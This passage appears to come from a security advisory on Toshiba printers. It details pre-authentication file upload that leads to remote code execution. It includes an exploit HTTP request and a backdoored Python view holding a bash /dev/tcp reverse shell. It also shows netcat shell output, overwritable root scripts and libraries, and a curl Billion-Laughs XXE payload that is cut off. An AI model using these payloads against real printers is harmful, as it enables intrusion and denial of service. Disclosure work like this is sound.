<p>This vulnerability can be used to get Remote Code Executions using several different ways. Due to some weaknesses found in Toshiba printers, there are hundreds different ways to get Remote Code Execution. For example:</p>
<ul>
<li>Upload of a malicious library defined in the LD_PRELOAD variable:<ul>
<li>/ramdisk/al/libGetNameInfoInterface.so or /ramdisk/al/libGetAddtInfoInterface.so can be overwritten by a malicious library</li>
</ul>
</li>
<li>Upload of a malicious library using the LD_LIBRARY_PATH variable - An attacker can upload malicious libraries inside:<ul>
<li>/home/SYSROM_SRC/build/release/lib,</li>
<li>/mfp/lib,</li>
<li>/home/SYSROM_SRC/NoBuildItems/common/lib,</li>
<li>/home/SYSROM_SRC/build/thirdparty/plugins/platforminputcontexts/,</li>
<li>/home/SYSROM_SRC/build/release/lib.</li>
</ul>
</li>
<li>Upload of a malicious program due to insecure permissions:<ul>
<li>As shown in <a href="#lpe-rce-106-programs">Local Privilege Escalation and Remote Code Execution using insecure permissions for 106 programs</a>, a lot of programs running as root can be overwritten due to insecure permissions (777)</li>
</ul>
</li>
<li>Upload a malicious Python program or a malicious Python library</li>
<li>...</li>
</ul>
<p>This lack of protection can be found in several HTML forms when using the printer, without administrative privileges. For example, the page at http://10.0.0.1:8080/Administration/maintenance/uploadsoft/DriverCustomize.html allows uploading any file:</p>
<p><img alt="" src="images/2024-toshiba-pre-auth-upload-file-05.png" /></p>
<p><a href="images/2024-toshiba-pre-auth-upload-file-05-full.png">Click here for full image</a></p>
<p>It is mandatory to inject a <code>&lt;INPUT TYPE=SUBMIT&gt;</code> in the server response using Burp or to directly generate such request to upload any file.</p>
<p>An example is shown below on how to get Remote Code Execution using the upload of a malicious Python script in the next section, using the following request:</p>
<pre><code>POST /contentwebserver/upload HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------394285998421640844852768059947
Content-Length: 1126
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/Administration/maintenance/uploadsoft/DriverCustomize.html
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; clicked=0; addrLastVisited=ADDRBK; IgnoreSessionTimeout=1; Session=10.0.0.2.5fb38c36e6e15dbe77652121b3d85e0c
Upgrade-Insecure-Requests: 1

-----------------------------394285998421640844852768059947
Content-Disposition: form-data; name="formSubmitCompleteEventHandler"

frames[0].formSubmitCompleteUploadList
-----------------------------394285998421640844852768059947
Content-Disposition: form-data; name="DeviceInformationModel"

&lt;DeviceInformationModel&gt;&lt;GetValue&gt;&lt;eFiling&gt;&lt;View&gt;&lt;BoxList/&gt;&lt;/View&gt;&lt;/eFiling&gt;&lt;/GetValue&gt;&lt;Command&gt;&lt;GetEFilingBoxes&gt;&lt;commandNode&gt;eFiling/BoxList&lt;/commandNode&gt;&lt;Params&gt;&lt;responseXpath contentType='XPath'&gt;eFiling/View/BoxList&lt;/responseXpath&gt;&lt;curPage contentType='Value'&gt;1&lt;/curPage&gt;&lt;pageSize contentType='Value'&gt;200&lt;/pageSize&gt;&lt;definedBox contentType='Value'&gt;true&lt;/definedBox&gt;&lt;/Params&gt;&lt;/GetEFilingBoxes&gt;&lt;/Command&gt;&lt;/DeviceInformationModel&gt;
-----------------------------394285998421640844852768059947
Content-Disposition: form-data; name="CsrfpId"

10.0.0.2.5fb38c36e6e15dbe77652121b3d85e0c
-----------------------------394285998421640844852768059947
Content-Disposition: form-data; name="test.txt"; filename="test.txt"
Content-Type: text/plain

test

-----------------------------394285998421640844852768059947--
</code></pre>
<p>And the file is correctly uploaded into the printer:</p>
<pre><code>bash-4.1# ls -la /work/al/tmp/upload/ContentWebServer_10.0.0.2.5fb38c36e6e15dbe77652121b3d85e0c/
total 12        
drwx------ 2 apache trusted 4096 May 27 19:34 .
drwxrwxrwx 3 root   trusted 4096 May 27 19:30 ..
-rw-rw-rw- 1 apache trusted    5 May 27 19:34 test.txt
bash-4.1# cat /work/al/tmp/upload/ContentWebServer_10.0.0.2.5fb38c36e6e15dbe77652121b3d85e0c/test.txt
test
bash-4.1#
</code></pre>
<p>We can find several webpages allowing exploiting the vulnerable <code>/contentwebserver/upload</code> API.</p>
<p>It was determined that these webpages are using the insecure <code>/contentwebserver/upload</code> API. They can be used by any attacker to upload any file into the printers:</p>
<ul>
<li>http://printer-ip/efiling/UploadFrame.html</li>
<li>http://printer-ip/efiling/UploadArchive.html</li>
<li>http://printer-ip/efiling/UploadFrame.html</li>
<li>http://printer-ip/efiling/UploadArchiveProgress.html</li>
<li>http://printer-ip/efiling/UpLoadArchiveClose.html</li>
<li>http://printer-ip/efiling/UploadArchiveButton.html</li>
<li>http://printer-ip/Registration/AddressBook/AddrImport.html</li>
<li>http://printer-ip/Registration/AddressBook/AddrImportListFrame.html</li>
<li>http://printer-ip/Administration/maintenance/uploadsoft/DriverCustomize.html</li>
<li>...</li>
</ul>
<p>Some of these files are directly reachable without authentication (e.g. Registration or efiling) and can be found without an admin account.</p>
<p><a id="pre-auth-rce-upload-wsgi-py"></a></p>
<h3>Remote Code Execution - Upload of a new .py module inside WSGI Python programs</h3>
<p>Some of the APIs and web interfaces of the printers are written in Python.</p>
<p>Since the permissions of these Python scripts inside the printers are insecure, a backdoored version of the <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py</code> has been uploaded as shown below:</p>
<p>Content of <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py</code> with a malicious payload added on line 25:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">1</span> <span style="color: #408080; font-style: italic">#! /usr/bin/env python</span>
 <span style="color: #666666">2</span> <span style="color: #408080; font-style: italic"># -*- coding: utf-8 -*-</span>
 <span style="color: #666666">3</span> <span style="color: #008000; font-weight: bold">import</span> <span style="color: #0000FF; font-weight: bold">sys</span>
 <span style="color: #666666">4</span> <span style="color: #008000; font-weight: bold">import</span> <span style="color: #0000FF; font-weight: bold">os</span>
 <span style="color: #666666">5</span> <span style="color: #008000; font-weight: bold">from</span> <span style="color: #0000FF; font-weight: bold">pyramid.view</span> <span style="color: #008000; font-weight: bold">import</span> view_config
 <span style="color: #666666">6</span> <span style="color: #008000; font-weight: bold">from</span> <span style="color: #0000FF; font-weight: bold">pyramid.exceptions</span> <span style="color: #008000; font-weight: bold">import</span> HTTPForbidden
 <span style="color: #666666">7</span> <span style="color: #008000; font-weight: bold">from</span> <span style="color: #0000FF; font-weight: bold">pyramid.response</span> <span style="color: #008000; font-weight: bold">import</span> Response,FileResponse
 <span style="color: #666666">8</span> <span style="color: #008000; font-weight: bold">from</span> <span style="color: #0000FF; font-weight: bold">server.screenfacade.appmgmt.applicationmanager</span> <span style="color: #008000; font-weight: bold">import</span> applicationManagementModel
 <span style="color: #666666">9</span> <span style="color: #008000; font-weight: bold">import</span> <span style="color: #0000FF; font-weight: bold">logging</span>
<span style="color: #666666">10</span> <span style="color: #008000; font-weight: bold">import</span> <span style="color: #0000FF; font-weight: bold">json</span>
<span style="color: #666666">11</span> <span style="color: #008000; font-weight: bold">import</span> <span style="color: #0000FF; font-weight: bold">pyeapicore</span>
<span style="color: #666666">12</span>
<span style="color: #666666">13</span> sys<span style="color: #666666">.</span>path<span style="color: #666666">.</span>append(<span style="color: #BA2121">&#39;/home/SYSROM_SRC/lib&#39;</span>)
<span style="color: #666666">14</span>
<span style="color: #666666">15</span> log <span style="color: #666666">=</span> logging<span style="color: #666666">.</span>getLogger(<span style="color: #BA2121">&quot;server&quot;</span>)
<span style="color: #666666">16</span>
<span style="color: #666666">17</span> <span style="color: #AA22FF">@view_config</span>(route_name<span style="color: #666666">=</span><span style="color: #BA2121">&#39;get_app_list_deployed&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">True</span>, renderer<span style="color: #666666">=</span><span style="color: #BA2121">&#39;jsonp&#39;</span>)
<span style="color: #666666">18</span> <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">get_app_list_deployed</span>(request):
<span style="color: #666666">19</span>     log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;++++++++++++++++++++++++++++++++&quot;</span>)
<span style="color: #666666">20</span>     log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;get app list Views : Start &quot;</span>)
<span style="color: #666666">21</span>     SessionID <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;&#39;</span>
<span style="color: #666666">22</span>     session <span style="color: #666666">=</span> <span style="color: #BA2121">&#39; &#39;</span>
<span style="color: #666666">23</span>     csrfpId <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;&#39;</span>
<span style="color: #666666">24</span>     browserLang <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;&#39;</span>
<span style="color: #666666">25</span>     os<span style="color: #666666">.</span>system(<span style="color: #BA2121">&quot;bash -i &gt;&amp; /dev/tcp/10.0.0.2/21 0&gt;&amp;1&quot;</span>)
<span style="color: #666666">26</span>
<span style="color: #666666">27</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #BA2121">&#39;SessionID&#39;</span> <span style="color: #AA22FF; font-weight: bold">in</span> request<span style="color: #666666">.</span>cookies:
<span style="color: #666666">28</span>         SessionID <span style="color: #666666">=</span> request<span style="color: #666666">.</span>cookies[<span style="color: #BA2121">&#39;SessionID&#39;</span>]
<span style="color: #666666">29</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #BA2121">&#39;Session&#39;</span> <span style="color: #AA22FF; font-weight: bold">in</span> request<span style="color: #666666">.</span>cookies:
<span style="color: #666666">30</span>         session <span style="color: #666666">=</span> request<span style="color: #666666">.</span>cookies[<span style="color: #BA2121">&#39;Session&#39;</span>]
<span style="color: #666666">31</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #BA2121">&#39;csrfpId&#39;</span> <span style="color: #AA22FF; font-weight: bold">in</span> request<span style="color: #666666">.</span>headers:
<span style="color: #666666">32</span>         csrfpId <span style="color: #666666">=</span> request<span style="color: #666666">.</span>headers[<span style="color: #BA2121">&#39;csrfpId&#39;</span>]
<span style="color: #666666">33</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #BA2121">&#39;BrowserLang&#39;</span> <span style="color: #AA22FF; font-weight: bold">in</span> request<span style="color: #666666">.</span>cookies:
<span style="color: #666666">34</span>         browserLang <span style="color: #666666">=</span> request<span style="color: #666666">.</span>cookies[<span style="color: #BA2121">&#39;BrowserLang&#39;</span>]
<span style="color: #666666">35</span>
<span style="color: #666666">36</span>     log<span style="color: #666666">.</span>info(<span style="color: #BA2121">&#39;Session ID obtained from request :&#39;</span> <span style="color: #666666">+</span> SessionID)
<span style="color: #666666">37</span>     log<span style="color: #666666">.</span>info(<span style="color: #BA2121">&#39;csrfpId obtained from request:&#39;</span> <span style="color: #666666">+</span> csrfpId)
<span style="color: #666666">38</span>     validationMap <span style="color: #666666">=</span> <span style="color: #008000">True</span>
<span style="color: #666666">39</span>
<span style="color: #666666">40</span>     <span style="color: #008000; font-weight: bold">if</span> validationMap[<span style="color: #BA2121">&#39;VALIDATION_STATUS&#39;</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;PASSED&#39;</span>:
<span style="color: #666666">41</span>         log<span style="color: #666666">.</span>info(<span style="color: #BA2121">&#39;User Validation : SUCCESS&#39;</span>)
<span style="color: #666666">42</span>         data <span style="color: #666666">=</span> applicationManagementModel<span style="color: #666666">.</span>getAppList(browserLang)
<span style="color: #666666">43</span>         log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;get app list Views : End &quot;</span>)
<span style="color: #666666">44</span>         log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;++++++++++++++++++++++++++++++++&quot;</span>)
<span style="color: #666666">45</span>         <span style="color: #008000; font-weight: bold">return</span> json<span style="color: #666666">.</span>dumps(data)
<span style="color: #666666">46</span>     <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">47</span>         log<span style="color: #666666">.</span>info(<span style="color: #BA2121">&#39;User Validation : FAILURE&#39;</span>)
<span style="color: #666666">48</span>         log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;get app list Views : End &quot;</span>)
<span style="color: #666666">49</span>         <span style="color: #008000; font-weight: bold">if</span> <span style="color: #BA2121">&quot;HTTP_REQUEST_FORBIDDEN&quot;</span> <span style="color: #AA22FF; font-weight: bold">in</span> validationMap:
<span style="color: #666666">50</span>             <span style="color: #008000; font-weight: bold">return</span> HTTPForbidden(<span style="color: #BA2121">&quot;Error 403 : Forbidden Request&quot;</span>)
<span style="color: #666666">51</span>         <span style="color: #008000; font-weight: bold">else</span>:
<span style="color: #666666">52</span>             <span style="color: #008000; font-weight: bold">return</span> json<span style="color: #666666">.</span>dumps(validationMap)
<span style="color: #666666">53</span>
<span style="color: #666666">54</span> <span style="color: #AA22FF">@view_config</span>(route_name<span style="color: #666666">=</span><span style="color: #BA2121">&#39;start_background_application&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">True</span>, renderer<span style="color: #666666">=</span><span style="color: #BA2121">&#39;jsonp&#39;</span>)
<span style="color: #666666">55</span> <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">start_background_application</span>(request):
<span style="color: #666666">56</span>     log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;++++++++++++++++++++++++++++++++&quot;</span>)
<span style="color: #666666">57</span>     log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;start background app : Start &quot;</span>)
[<span style="color: #666666">...</span>]
</pre></div>

<p>Due to some reverse proxy rules and check before this API can be reached, this Python code is reachable using the API path <code>http://printerip/tapy/server/appmgmt/applistDeployed</code> with a cookie previously provided by the printer when visiting http://printerip/ (without authentication).</p>
<p>When sending a HTTP request to <code>http://printerip/tapy/server/appmgmt/applistDeployed</code>, the attacker will receive a connect-back shell from the printer:</p>
<pre><code>kali# nc -l -v -p 21
listening on [any] 21 ...
10.0.0.1: inverse host lookup failed: Unknown host 
connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 37243
[apache@MFP14144292 /]$ id
uid=1000(apache) gid=2000(trusted) groups=2000(trusted)
[apache@MFP14144292 /]$ uname -ap
Linux MFP14144292 3.10.38-ltsi-WR6.0.0.11_standard #3513 SMP Tue Jul 5 09:58:22 IST 2022 i686 GNU/Linux
[apache@MFP14144292 /]$
</code></pre>
<p>Connect-back shell as apache:</p>
<p><img alt="" src="images/2024-toshiba-connect-back-shell-apache.png" /></p>
<p><a id="pre-auth-rce-upload-wsgi-ini"></a></p>
<h3>Remote Code Execution - Upload of a new .ini configuration files inside WSGI Python programs</h3>
<p>It is possible to overwrite the .ini configuration file used by WSGI Python programs. This technique is public as of 2023-02-28: <a href="https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html">https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html</a>.</p>
<p>Apache is running with WSGI configurations:</p>
<pre><code>bash-4.1# ps auxww | grep apache
apache    1611  0.0  0.1 1264444 3708 ?        Sl   10:37   0:00 /usr/local/ebx/httpd_worker/bin/httpd_worker -f /encryption/al/network/config/httpd-prox.conf -k start
apache    1822  0.2  3.6 483056 108852 ?       Sl   10:37   1:02 (wsgi:webpanel)                              -f /encryption/al/network/config/httpd-wsgi.conf -k start
apache    1823  0.0  2.1 270952 64172 ?        Sl   10:37   0:05 (wsgi:topaccesspy)                           -f /encryption/al/network/config/httpd-wsgi.conf -k start
apache    1824  0.0  0.1 285148  4452 ?        Sl   10:37   0:00 /usr/local/ebx/httpd_worker/bin/httpd_worker -f /encryption/al/network/config/httpd-wsgi.conf -k start
</code></pre>
<p>The Python scripts running as WSGI are configured with specific .ini configuration files:</p>
<ul>
<li><code>/registration/al/WebPanel/development.ini</code></li>
<li><code>/registration/al/TopAccessPy/development.ini</code></li>
</ul>
<p>Unfortunately, these configuration files can be rewritten because of insecure permissions, allowing a remote attacker to execute commands, as described in recent public research.</p>
<p>These files have insecure permissions as shown below:</p>
<pre><code>bash-4.1# ls -la /registration/al/WebPanel/
total 2632
drwxrwxrwx  7 root root    4096 Dec  6 03:33 .
drwxrwxrwx 19 root root    4096 Mar 14 16:28 ..
-rwxrwxrwx  1 root root 2642944 Dec  6 03:33 HomeBackgroundImages.tar.gz
-rwxrwxrwx  1 root root     857 Dec  6 03:33 Makefile
-rwxrwxrwx  1 root root     909 Dec  6 03:33 config.rb
-rwxrwxrwx  1 root root    1103 Dec  6 03:33 development.ini
drwxrwxrwx  4 root root    4096 Jan 22  2015 predefinedxml
-rwxrwxrwx  1 root root     199 Dec  6 03:33 pyramid.wsgi
drwxrwxrwx  3 root root    4096 Dec  6 03:33 statuspages
drwxrwxrwx 14 root root    4096 Dec  6 03:33 wpclient
drwxrwxrwx  6 root root    4096 Mar 14 16:32 wpserver
drwxrwxrwx  2 root root    4096 Dec  6 03:33 wpserver.egg-info
bash-4.1# ls -la /registration/al/WebPanel/development.ini
-rwxrwxrwx 1 root root 1103 Dec  6 03:33 /registration/al/WebPanel/development.ini

bash-4.1# ls -la /registration/al/TopAccessPy
total 36
drwxrwxrwx  5 root root 4096 Dec  6 03:39 .
drwxrwxrwx 19 root root 4096 Mar 14 16:28 ..
-rwxrwxrwx  1 root root  315 Dec  6 03:39 Makefile
-rwxrwxrwx  1 root root 2091 Dec  6 03:39 TA_CacheScript.sh
drwxrwxrwx  7 root root 4096 Mar 23 10:37 client
-rwxrwxrwx  1 root root 1078 Dec  6 03:39 development.ini
-rwxrwxrwx  1 root root  202 Dec  6 03:39 pyramid.wsgi
drwxrwxrwx  6 root root 4096 Mar 14 16:32 server
drwxrwxrwx  2 root root 4096 Dec  6 03:39 server.egg-info
bash-4.1# ls -la /registration/al/TopAccessPy/development.ini
-rwxrwxrwx 1 root root 1078 Dec  6 03:39 /registration/al/TopAccessPy/development.ini
</code></pre>
<p>These scripts can be overwritten to include specific commands to be executed:</p>
<p>Content of <code>/registration/al/TopAccessPy/development.ini</code>:</p>
<pre><code>bash-4.1# cat /registration/al/TopAccessPy/development.ini
[app:main]
use = egg:server

pyramid.reload_templates = true
pyramid.debug_authorization = false
pyramid.debug_notfound = false
pyramid.debug_routematch = false
pyramid.default_locale_name = en
pyramid.includes = pyramid_tm

[server:main]

# Begin logging configuration

[loggers]
keys = root, server

[handlers]
keys = console, serverhandler

[formatters]
keys = generic, serverformatter

[logger_root]
level = DEBUG
handlers = console

[logger_server]
level=DEBUG
handlers=serverhandler
qualname=server
propagate=0

[handler_console]
class = StreamHandler
args = (sys.stderr,)
level = NOTSET
formatter = generic

[handler_serverhandler]
class=logging.handlers.RotatingFileHandler
level=DEBUG
formatter=serverformatter
args=('/work/log/al/webpanel/python_ta.log','a',(5*1024*1024),3)

[formatter_generic]
format = %(asctime)s %(levelname)-5.5s [%(name)s][%(threadName)s] %(message)s

[formatter_serverformatter]
format=%(asctime)s%(msecs)03d Pid= %(process)d Tid= %(thread)d %(filename)s     %(lineno)d %(levelname)s %(message)s
datefmt=%m/%d %H:%M:%S

# End logging configuration
</code></pre>
<p><a id="pre-auth-rce-upload-gdb"></a></p>
<h3>Remote Code Execution - Upload of a malicious script <code>/tmp/backtraceScript.sh</code> and injection of malicious gdb commands</h3>
<p>When a program crashes, the <code>/tmp/backtraceScript.sh</code> script will be executed as root as shown below:</p>
<pre><code>2023/05/27 19:48:02 CMD: UID=0     PID=22535  | sh -c /tmp/backtraceScript.sh "/work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080" &gt; "/work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080"_backtrace 
2023/05/27 19:48:02 CMD: UID=0     PID=22536  | /bin/bash /tmp/backtraceScript.sh /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080 
2023/05/27 19:48:02 CMD: UID=0     PID=22540  | /bin/bash /tmp/backtraceScript.sh /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080 
2023/05/27 19:48:02 CMD: UID=0     PID=22539  | /bin/bash /tmp/backtraceScript.sh /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080 
2023/05/27 19:48:02 CMD: UID=0     PID=22538  | /bin/bash /tmp/backtraceScript.sh /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080 
2023/05/27 19:48:02 CMD: UID=0     PID=22537  | /bin/bash /tmp/backtraceScript.sh /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080 
2023/05/27 19:48:03 CMD: UID=0     PID=22541  | gdb -c /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080 -x /tmp/gdb_commands.txt 
2023/05/27 19:48:03 CMD: UID=0     PID=22542  | gdb /usr/local/ebx/httpd_worker/bin/httpd_worker /work/log/corefiles/core.httpd_worker.8272.MFP14130119.1681135080 --batch --command=/tmp/gdb_commands.txt 
2023/05/27 19:48:03 CMD: UID=0     PID=22543  | iconv -l
</code></pre>
<p>This script has insecure permissions (777) and will run gdb as root:</p>
<p>Content of <code>/tmp/backtraceScript.sh</code>:</p>
<pre><code>bash-4.1# ls -la /tmp/backtraceScript.sh
-rwxrwxrwx 1 root root 1457 Apr  6  2016 /tmp/backtraceScript.sh
bash-4.1# cat /tmp/backtraceScript.sh
#!/bin/bash
OIFS=${IFS}
IFS=$'\n'
echo "quit" &gt; /tmp/gdb_commands.txt
echo "quit" &gt;&gt; /tmp/gdb_commands.txt
EXE_NAME=`gdb -c "$1" -x /tmp/gdb_commands.txt | grep "Core was generated by" | cut -d'\`' -f2 | cut -d' ' -f1`
echo "thread apply all backtrace full" &gt; /tmp/gdb_commands.txt
echo "set print asm" &gt;&gt; /tmp/gdb_commands.txt
echo "set print demangle on" &gt;&gt; /tmp/gdb_commands.txt
echo "disassemble" &gt;&gt; /tmp/gdb_commands.txt
echo "info reg" &gt;&gt; /tmp/gdb_commands.txt
echo "quit" &gt;&gt; /tmp/gdb_commands.txt
echo "quit" &gt;&gt; /tmp/gdb_commands.txt
if [ "$EXE_NAME" = ""  ];then
if [ -d /work/log/platform/syscallerr/core_files ];then
mv "$1" /work/log/platform/syscallerr/core_files/
else
mkdir -p /work/log/platform/syscallerr/core_files
mv "$1" /work/log/platform/syscallerr/core_files/
fi
else
if [ -f $EXE_NAME  ];then
gdb $EXE_NAME "$1" --batch --command=/tmp/gdb_commands.txt 2&gt;&amp;1
elif [ -f $EB2/bin/$EXE_NAME ]; then
gdb $EB2/bin/$EXE_NAME "$1" --batch --command=/tmp/gdb_commands.txt 2&gt;&amp;1
elif [ "$EXE_NAME"="(wsgi:webapi)" -o "$EXE_NAME"="(wsgi:webpanel)" -o "$EXE_NAME"="(wsgi:topaccesspy)" ]; then
EXE_NAME=/usr/local/ebx/httpd_worker/bin/httpd_worker
gdb $EXE_NAME "$1" --batch --command=/tmp/gdb_commands.txt 2&gt;&amp;1
else
if [ -d /work/log/platform/syscallerr/core_files ];then
mv "$1" /work/log/platform/syscallerr/core_files/
else
mkdir -p /work/log/platform/syscallerr/core_files
mv "$1" /work/log/platform/syscallerr/core_files/
fi
fi
fi
IFS=${OIFS}
bash-4.1#
</code></pre>
<p>The <code>/tmp/gdb_commands.txt</code> gdb script (used by gdb in the <code>/tmp/backtraceScript.sh</code> script) can be also overwritten by an attacker to contain gdb commands and get Remote Code Execution.</p>
<p>An attacker can change the <code>/tmp/backtraceScript.sh</code> to get Remote Code Execution.</p>
<p>An attacker can change the <code>/tmp/gdb_commands.txt</code> script to get Remote Code Execution.</p>
<p><a id="pre-auth-rce-upload-sapphost"></a></p>
<h3>Remote Code Execution - Upload of a malicious <code>/home/SYSROM_SRC/build/common/bin/sapphost.py</code> program</h3>
<p>The program <code>/home/SYSROM_SRC/build/release/bin/sapphost.py</code> runs as root when the printer starts:</p>
<pre><code>bash-4.1# ps auxww|grep python
root      3984  5.0  5.3 200160 70944 ?        Sl   18:49   0:03 python /home/SYSROM_SRC/build/release/bin/sapphost.py 10000000-0000-0000-0000-500000000000
root      4597  4.5  3.5 144312 47740 ?        Sl   18:49   0:02 python /home/SYSROM_SRC/build/release/bin/sapphost.py 10000000-0000-0000-0000-500000000001
root      5193  0.0  0.1  12616  1852 ?        S    18:50   0:00 grep python
bash-4.1#
</code></pre>
<p><code>/home/SYSROM_SRC/build/release/bin/sapphost.py</code> is a symbolic link to <code>/home/SYSROM_SRC/build/common/bin/sapphost.py</code> and this Python program has insecure permissions, allowing any local user or any remote attacker leveraging the insecure file upload vulnerability to overwrite it: </p>
<pre>
bash-4.1# ls -la /home/SYSROM_SRC/build/release/bin/sapphost.py
lrwxrwxrwx 1 root root 32 Mar 15 11:44 /home/SYSROM_SRC/build/release/bin/sapphost.py -> ../../thirdparty/bin/sapphost.py
bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/bin/sapphost.py
lrwxrwxrwx 1 root root 28 Mar 15 11:44 /home/SYSROM_SRC/build/thirdparty/bin/sapphost.py -> ../../common/bin/sapphost.py
bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/sapphost.py
<font color=red>-rwxrwxrwx 1 root root 2124 Oct 12  2021 /home/SYSROM_SRC/build/common/bin/sapphost.py</font>
</pre>

<p>An attacker can overwrite this Python code to get Remote Code Execution when the printer starts.</p>
<p><a id="pre-auth-rce-libs"></a></p>
<h3>Remote Code Execution - Upload of malicious libraries</h3>
<p>When analyzing the processes running in the printers, it appears the <code>LD_PRELOAD</code> variable is used to load specific shared libraries:</p>
<ul>
<li><code>/ramdisk/al/libGetNameInfoInterface.so</code></li>
<li><code>/ramdisk/al/libGetAddtInfoInterface.so</code></li>
</ul>
<p>We can find the <code>LD_PRELOAD</code> variable set by default in programs running in the printers:</p>
<pre><code>bash-4.1# printenv | grep LD_PRELO
LD_PRELOAD=/ramdisk/al/libGetNameInfoInterface.so:/ramdisk/al/libGetAddtInfoInterface.so:
bash-4.1# ls -la /ramdisk/al/libGetNameInfoInterface.so
-rwxrwxrwx 1 root root 70813 Dec  6 02:02 /ramdisk/al/libGetNameInfoInterface.so
bash-4.1# s -la /ramdisk/al/libGetAddtInfoInterface.so
-rwxrwxrwx 1 root root 87311 Dec  6 02:02 /ramdisk/al/libGetAddtInfoInterface.so
bash-4.1#
</code></pre>
<p>For example, when sending 55 HTTP requests to the printers, new Apache processes running as root will be created on the fly by the printer, as shown below. These new processes will load and execute code from <code>libGetNameInfoInterface.so</code> and <code>libGetAddtInfoInterface.so</code>. An attacker can rewrite any file over them to get Remote Code Execution.</p>
<p>Using the HTTP request from the <a href="#pre-auth-xxe-dos">Pre-authenticated Blind XML External Entity (XXE) injection - DoS</a>, we will send 55 HTTP requests (only the last 3 are displayed) containing the Billion-Laugh Attack, to create new Apache processes in the remote printer:</p>
<pre><code>kali% curl -i -s -k -X $'POST' \
    -H $'Host: 10.0.0.1:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Cache-Control: no-cache' -H $'Pragma: no-cache' -H $'Content-Type: text/plain; charset=utf-8' -H $'csrfpId: 10.0.0.1.852d519a6fa9825fae857bac5c003da0' -H $'Content-Length: 760' -H $'Origin: http://10.0.0.1:8080' -H $'Connection: close' -H $'Referer: http://10.0.0.1:8080/?MAIN=TOPACCESS' \
    -b $'Session=10.0.0.2.852d519a6fa9825fae857bac5c003da0; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DLOGS%26SUB%3DJOBLOGS%26CAT%3DPRINT' \
    --data-binary $'&lt;!DOCTYPE lolz [\x0d\x0a &lt;!ENTITY lol \"lol\"&gt;\x0d\x0a &lt;!ELEMENT lolz (#PCDATA)&gt;\x0d\x0a &lt;!ENTITY lol1 \"&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;\"&gt;\x0d\x0a &lt;!ENTITY lol2 \"&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;\"&gt;\x0d\x0a &lt;!ENTITY lol3 \"&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;\"&gt;\x0d\x0a &lt;!ENTITY lol4 \"&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;\"&gt;\x0d\x0a &lt;!ENTITY lol5 \"&amp;lol4;&amp;lol4;&amp;lol4;\"&gt;\x0d\x0a &lt;!ENTITY lol6 \"&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;\"&gt;\x0d\x0a &lt;!ENTITY lol7 \"&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;\"&gt;\x0d\x0a &lt;!ENTITY lol8 \"&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;\"&gt;\x0d\x0a &lt;!ENTITY lol9 